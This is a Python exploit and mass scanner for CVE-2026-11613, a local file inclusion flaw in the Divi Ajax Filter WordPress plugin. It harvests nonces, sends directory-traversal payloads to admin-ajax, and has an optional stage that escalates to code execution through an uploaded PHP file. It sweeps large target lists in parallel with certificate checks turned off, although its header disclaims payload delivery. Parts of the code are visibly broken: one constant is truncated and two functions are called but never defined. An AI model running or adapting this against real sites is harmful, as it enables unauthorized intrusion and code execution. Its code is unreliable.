#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-11613 - Divi Ajax Filter <= 5.1.2 (Divi Engine) Unauthenticated Local File Inclusion via 'custom_loop_template' (CWE-98, CVSS 9.8) Usage: python poc_http.py target.com python poc_http.py https://target.com bare-domain.net 10.0.0.5:8080 python poc_http.py --list targets.txt --threads 30 python poc_http.py --list targets.txt --fast # 2 req/target sweep python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED Exit codes: 0 = at least one vulnerable target, 1 = none vulnerable, 130 = interrupted (partial results still written). ETHICS: run only against systems you own or have written authorization to test. Targets come from YOUR list and are reviewed manually - no built-in discovery, no mass untargeted scanning, no persistence, no payload delivery. """ import argparse import concurrent.futures import csv import ctypes import http.cookiejar import json import os import re import ssl import sys import threading import time import urllib.error import urllib.parse import urllib.request # ---------------------------------------------------------------- colors --- def _color_enabled(): if "--no-color" in sys.argv or os.environ.get("NO_COLOR"): return False if os.environ.get("FORCE_COLOR"): return True return sys.stdout.isatty() COLOR = _color_enabled() def _enable_windows_vt(): if os.name == "nt": try: k = ctypes.windll.kernel32 h = k.GetStdHandle(-11) mode = ctypes.c_uint32() if k.GetConsoleMode(h, ctypes.byref(mode)): k.SetConsoleMode(h, mode.value | 0x0004) except Exception: pass if COLOR: _enable_windows_vt() def _c(code, s): return "\033[%sm%s\033[0m" % (code, s) if COLOR else s def g(s): return _c("92;1", s) # bold green def r(s): return _c("91;1", s) # bold red def y(s): return _c("93;1", s) # bold yellow def cy(s): return _c("96", s) # cyan def mg(s): return _c("95;1", s) # bold magenta def dim(s): return _c("90", s) # grey def wht(s): return _c("97;1", s) # bold white PRINT_LOCK = threading.Lock() # ---------------------------------------------------------------- consts --- UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" SCHEME_RE = re.compile(r"^https?://", re.I) # plugin localize blobs: filter_ajax_object / loadmore_ajax_object {..,"security":"abcd123456"} NONCE_STRICT_RE = re.compile( r"(?:filter_ajax_object|loadmore_ajax_object)\s*=\s*\{[^}]*?\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"", re.S) NONCE_LOOSE_RE = re.compile(r"\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"") NONCE_PAGES = ("/", "/?s=a") ACTIONS = ("divi_filter_ajax_handler", "divi_filter_loadmore_ajax_handler") DEPTH_DEFAULT = [5, 6, 4, 7, 3, 8, 2, 9, 10] # 5 = flat theme (most common) DEPTH_FAST = [5, 6] LFI_PROBES = ( ("xmlrpc.php", ("methodResponse", "faultCode", "XML-RPC server accepts POST")), ) LFI_PROBES_THOROUGH = LFI_PROBES + (("wp-links-opml.php", (" ref def normalize_url(u): u = u.strip().rstrip("/") if u and not SCHEME_RE.match(u): u = "http://" + u return u def log(msg): with PRINT_LOCK: print(msg, flush=True) # ---------------------------------------------------------------- client --- def _ssl_ctx(): """Vuln scanners must reach sites with mismatched/self-signed certs: verification off (SSL errors are NOT proof of unreachability).""" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return ctx class SmartRedirectHandler(urllib.request.HTTPRedirectHandler): """Follow redirects preserving method + body (default urllib converts POST -> GET on 301/302, which breaks http->https sites and makes the admin-ajax probe look like 'handler missing').""" def redirect_request(self, req, fp, code, msg, headers, newurl): new_req = urllib.request.Request(newurl, data=req.data, method=req.get_method()) for k, v in req.headers.items(): if k.lower() in ("host", "content-length"): continue new_req.add_header(k, v) return new_req class Client(object): def __init__(self, base, timeout, retries): self.base = base self.timeout = timeout self.retries = retries self.jar = http.cookiejar.CookieJar() self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(self.jar), SmartRedirectHandler(), urllib.request.HTTPSHandler(context=_ssl_ctx())) def request(self, path, data=None): body = None hdrs = {"User-Agent": UA} if data is not None: body = urllib.parse.urlencode(data).encode("utf-8") hdrs["Content-Type"] = "application/x-www-form-urlencoded" req = urllib.request.Request(self.base + path, data=body, headers=hdrs) last = None for attempt in range(self.retries + 1): try: resp = self.opener.open(req, timeout=self.timeout) return resp.getcode(), resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") except Exception as e: last = "EXC: %s" % e if attempt < self.retries: time.sleep(0.4) return None, last # ------------------------------------------------------------ per-target --- def probe_handler(client, nonce): """1 POST to admin-ajax. Classify: returns (handler_present, nonce_ok) - body '0' -> action unknown -> plugin not active - '-1'/nonce-failed JSON -> handler present, nonce rejected - anything else (200 JSON) -> handler present, nonce accepted """ data = {"action": ACTIONS[0]} if nonce: data["security"] = nonce code, body = client.request("/wp-admin/admin-ajax.php", data=data) b = (body or "").strip() if b == "0": return False, False if b == "-1" or "Nonce verification failed" in body: return True, False return True, True def get_nonce_from_html(html): m = NONCE_STRICT_RE.search(html) if m: return m.group(1) m = NONCE_LOOSE_RE.search(html) return m.group(1) if m else None def lfi_request(client, action, nonce, depth, rel_target): query = {"post_type": ["post"], "posts_per_page": 5, "post_status": "publish"} loop_var = { "loop_templates": "custom-template", "loop_style": "custom-template", "custom_loop_template": ("../" * depth) + rel_target, } return client.request("/wp-admin/admin-ajax.php", data={ "action": action, "security": nonce, "query": json.dumps(query), "loop_var": json.dumps(loop_var), "page": "1", "filter_item_name": "", # avoid array_unique(NULL) fatal in old builds "filter_item_val": "", "filter_input_type": "", }) def sweep(client, actions, nonce, rel_target, markers, depths, verbose, tag): for action in actions: for depth in depths: code, body = lfi_request(client, action, nonce, depth, rel_target) hit = next((m for m in markers if m in body), None) if verbose: log("%s %s" % (tag, dim("%s d=%d -> %s len=%d hit=%s" % (action.replace("divi_filter_", ""), depth, code, len(body), hit or "-")))) if hit: i = body.find(hit) return {"vuln": True, "action": action, "depth": depth, "marker": hit, "snippet": body[max(0, i - 40): i + 120].strip()} return {"vuln": False} def check_target(url, cfg): t0 = time.time() res = {"url": url, "status": "error", "plugin": None, "lfi": False, "rce": False, "action": "", "depth": 0, "reqs": 0, "secs": 0.0, "note": "", "version": None} tag = "%s %s" % (cy("[%s]" % url), dim("::")) client = Client(url, cfg.timeout, cfg.retries) # 1) homepage -> nonce (strict context first, loose fallback) code, home = client.request(NONCE_PAGES[0]) res["reqs"] += 1 if code is None: res["status"] = "unreachable" res["note"] = (home or "")[:60] res["secs"] = time.time() - t0 return res nonce = get_nonce_from_html(home) if code == 200 and home else None # version fingerprint from exposed asset ?ver= — skip patched sites early res["version"] = detect_version(home) if res["version"] and is_patched(res["version"]): res["status"] = "patched" res["secs"] = time.time() - t0 return res # 2) probe: is the nopriv handler even registered? is the nonce accepted? present, nonce_ok = probe_handler(client, nonce) res["reqs"] += 1 if not present: # handler not registered: either plugin absent OR plugin active but no # Divi theme/builder (extension init never fires). 1 request tells apart. pcode, _ = client.request( "/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php") res["reqs"] += 1 if pcode == 200: res["status"] = "no-divi" res["note"] = ("plugin installed & active but Divi theme/builder " "missing -> ajax handlers never registered") else: res["status"] = "no-plugin" res["secs"] = time.time() - t0 return res if not nonce_ok: # candidate nonce came from loose context or is stale -> re-try homepage # search page (?s=a renders a different template that often localizes too) code2, page2 = client.request(NONCE_PAGES[1]) res["reqs"] += 1 cand = get_nonce_from_html(page2) if code2 == 200 and page2 else None if not res["version"] and code2 == 200 and page2: res["version"] = detect_version(page2) if res["version"] and is_patched(res["version"]): res["status"] = "patched" res["secs"] = time.time() - t0 return res if cand and cand != nonce: present2, nonce_ok2 = probe_handler(client, cand) res["reqs"] += 1 if present2 and nonce_ok2: nonce = cand if not nonce_ok and not nonce: res["status"] = "no-nonce" res["secs"] = time.time() - t0 return res # handler present; if nonce still unverified but a candidate exists, sweep # will simply fail nonce checks -> keep going only when probe accepted it if not nonce_ok: res["status"] = "no-nonce" res["secs"] = time.time() - t0 return res # 3) optional plugin fingerprint (1 req, informational only) pcode, _ = client.request( "/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php") res["reqs"] += 1 res["plugin"] = (pcode == 200) # 4) LFI sweep probes = LFI_PROBES_THOROUGH if cfg.thorough else LFI_PROBES actions = ACTIONS[:1] if cfg.fast else ACTIONS for rel_target, markers in probes: res["reqs"] += len(actions) * len(cfg.depths) hit = sweep(client, actions, nonce, rel_target, markers, cfg.depths, cfg.verbose, tag) if hit["vuln"]: res.update(status="vuln", lfi=True, action=hit["action"], depth=hit["depth"], note="%s marker=%s" % (rel_target, hit["marker"])) break # 5) optional RCE stage (known uploaded file) rce_rel = None if cfg.upload_rel: rce_rel = cfg.upload_rel elif cfg.upload_name: rce_rel = "wp-content/uploads/" + cfg.upload_name if res["lfi"] and rce_rel and cfg.upload_marker: res["reqs"] += len(actions) * len(cfg.depths) hit = sweep(client, actions, nonce, rce_rel, (cfg.upload_marker,), cfg.depths, cfg.verbose, tag) if hit["vuln"]: res["rce"] = True res["action"], res["depth"] = hit["action"], hit["depth"] snippet = " | ".join(hit["snippet"].split()) res["note"] = "RCE: %s | %s" % (rce_rel, snippet[:90]) res["status"] = "vuln" if res["lfi"] else "clean" res["secs"] = time.time() - t0 return res # ---------------------------------------------------------------- output --- def result_line(res, idx, total): prefix = dim("[%0*d/%0*d]" % (len(str(total)), idx, len(str(total)), total)) url = wht(res["url"]) secs = dim("%.1fs" % res["secs"]) ver = res.get("version") vtag = dim("ver=%s " % ver) if ver else "" if res["status"] == "vuln": verdict = g("VULN: LFI") if res["rce"]: verdict = g("VULN: LFI+RCE <<<<<<<<<<") detail = dim("(action=%s depth=%d %s%s)" % (res["action"], res["depth"], vtag, res["note"])) return "%s %s %s %s %s" % (prefix, verdict, url, detail, secs) if res["status"] == "patched": return "%s %s %s %s" % (prefix, cy("PATCHED"), url, dim("ver=%s (>= 5.1.3, skipped)" % ver)) if res["status"] == "unreachable": return "%s %s %s %s" % (prefix, r("UNREACHABLE"), url, dim(res["note"])) if res["status"] == "no-plugin": return "%s %s %s" % (prefix, cy("NO-PLUGIN"), url) if res["status"] == "no-divi": return "%s %s %s %s" % (prefix, cy("NO-DIVI"), url, dim("(plugin active, Divi missing)")) if res["status"] == "no-nonce": return "%s %s %s %s" % (prefix, cy("NO-NONCE"), url, dim("(handler up, nonce not exposed)")) if res["status"] == "error": return "%s %s %s %s" % (prefix, r("ERROR"), url, dim(res["note"])) return "%s %s %s %s %s" % (prefix, y("not-confirmed"), url, vtag, secs) def main(): ap = argparse.ArgumentParser( description="CVE-2026-11613 direct live scanner (Divi Ajax Filter <= 5.1.2)", formatter_class=argparse.RawDescriptionHelpFormatter) ap.add_argument("targets", nargs="*", help="target URL or bare domain (http:// auto-added)") ap.add_argument("--list", help="file with one target per line (5000+ supported)") ap.add_argument("--threads", type=int, default=10, help="concurrent workers (default 10)") ap.add_argument("--timeout", type=int, default=12, help="per-request timeout s (default 12)") ap.add_argument("--retries", type=int, default=1, help="retries on network error (default 1)") ap.add_argument("--depths", help="comma list of traversal depths (default 5,6,4,7,3,8,2,9,10)") ap.add_argument("--fast", action="store_true", help="depths 5,6 + first action only (2 req/target)") ap.add_argument("--thorough", action="store_true", help="add wp-links-opml.php as 2nd LFI probe") ap.add_argument("--upload-name", help="uploaded .php filename in wp-content/uploads to test RCE") ap.add_argument("--upload-marker", default="WayangXploit-RCE-CONFIRMED", help="string the uploaded file prints (default: WayangXploit-RCE-CONFIRMED)") ap.add_argument("--upload-rel", help="arbitrary webroot-relative path of a target .php for the RCE " "stage (overrides --upload-name)") ap.add_argument("--out", default="results_cve-2026-11613.csv", help="CSV output file") ap.add_argument("--no-color", action="store_true") ap.add_argument("-v", "--verbose", action="store_true") cfg = ap.parse_args() if cfg.upload_name and not cfg.upload_marker: ap.error("--upload-marker is required with --upload-name") cfg.depths = ([int(x) for x in cfg.depths.split(",")] if cfg.depths else (DEPTH_FAST if cfg.fast else DEPTH_DEFAULT)) raw = list(cfg.targets) if cfg.list: with open(cfg.list, encoding="utf-8", errors="replace") as fh: raw += [ln.strip() for ln in fh] urls, seen = [], set() for u in raw: if not u or u.startswith("#"): continue n = normalize_url(u) if n and n not in seen: seen.add(n) urls.append(n) if not urls: ap.error("no targets given (positional args or --list)") total = len(urls) print() print(mg("=" * 74)) print(mg(" CVE-2026-11613 | Divi Ajax Filter <= 5.1.2 | Unauth LFI -> RCE")) print(mg(" targets: %s | threads: %s | depths: %s%s" % (wht(str(total)), wht(str(cfg.threads)), dim(",".join(map(str, cfg.depths))), dim(" [FAST]") if cfg.fast else ""))) print(dim(" authorized testing only - targets are your responsibility")) print(mg("=" * 74)) print() header_needed = not (os.path.exists(cfg.out) and os.path.getsize(cfg.out) > 0) csv_lock = threading.Lock() stats = {"done": 0, "vuln": 0, "rce": 0, "no_nonce": 0, "no_plugin": 0, "no_divi": 0, "patched": 0, "errors": 0, "clean": 0} vuln_list = [] start = time.time() def write_csv(res): with csv_lock: row = [res["url"], res["status"], res["lfi"], res["rce"], res["plugin"], res.get("version") or "", res["action"], res["depth"], res["note"].replace("\n", " "), res["reqs"], "%.1f" % res["secs"]] for attempt in range(2): try: with open(cfg.out, "a", newline="", encoding="utf-8") as fh: w = csv.writer(fh) if header_needed and fh.tell() == 0: w.writerow(["url", "status", "lfi", "rce", "plugin_present", "version", "action", "depth", "note", "requests", "secs"]) w.writerow(row) return except PermissionError: if attempt == 0: # file locked (Excel?) -> fall back to a fresh file cfg.out = cfg.out.replace(".csv", "_%d.csv" % int(time.time())) log(dim("[!] CSV terkunci (tutup Excel) -> pindah ke %s" % cfg.out)) else: log(dim("[!] CSV gagal ditulis - hasil hanya di layar")) def run(url): try: return check_target(url, cfg) except Exception as e: # never let one target kill the scan return {"url": url, "status": "error", "plugin": None, "lfi": False, "rce": False, "action": "", "depth": 0, "reqs": 0, "secs": 0.0, "note": str(e)[:80]} exit_code = 1 try: with concurrent.futures.ThreadPoolExecutor(max_workers=cfg.threads) as pool: futures = {pool.submit(run, u): u for u in urls} for fut in concurrent.futures.as_completed(futures): res = fut.result() stats["done"] += 1 if res["status"] == "vuln": stats["vuln"] += 1 vuln_list.append(res) if res["rce"]: stats["rce"] += 1 elif res["status"] == "no-nonce": stats["no_nonce"] += 1 elif res["status"] == "no-plugin": stats["no_plugin"] += 1 elif res["status"] == "no-divi": stats["no_divi"] += 1 elif res["status"] == "patched": stats["patched"] += 1 elif res["status"] in ("error", "unreachable"): stats["errors"] += 1 else: stats["clean"] += 1 write_csv(res) log(result_line(res, stats["done"], total)) except KeyboardInterrupt: log(dim("\n[!] interrupted - writing partial summary...")) exit_code = 130 elapsed = time.time() - start print() print(mg("-" * 74)) print("%s %s | %s %s | %s | %s | %s | %s | %s" % ( wht("SCAN DONE"), dim("(%.0fs)" % elapsed), g("VULN: %d" % stats["vuln"]), g("(RCE: %d)" % stats["rce"]) if stats["rce"] else dim("(RCE: 0)"), y("clean: %d" % stats["clean"]), cy("no-nonce: %d" % stats["no_nonce"]), cy("no-plugin: %d" % stats["no_plugin"]), cy("no-divi: %d | patched: %d" % (stats["no_divi"], stats["patched"])), r("err: %d" % stats["errors"]))) if vuln_list: print() print(g(" VULNERABLE TARGETS:")) for v in vuln_list: print(" %s %s %s" % (g("*"), wht(v["url"]), dim("action=%s depth=%d%s" % (v["action"], v["depth"], " +RCE" if v["rce"] else "")))) exit_code = 0 print() print(dim("results: %s" % os.path.abspath(cfg.out))) print(mg("=" * 74)) sys.exit(exit_code) if __name__ == "__main__": main()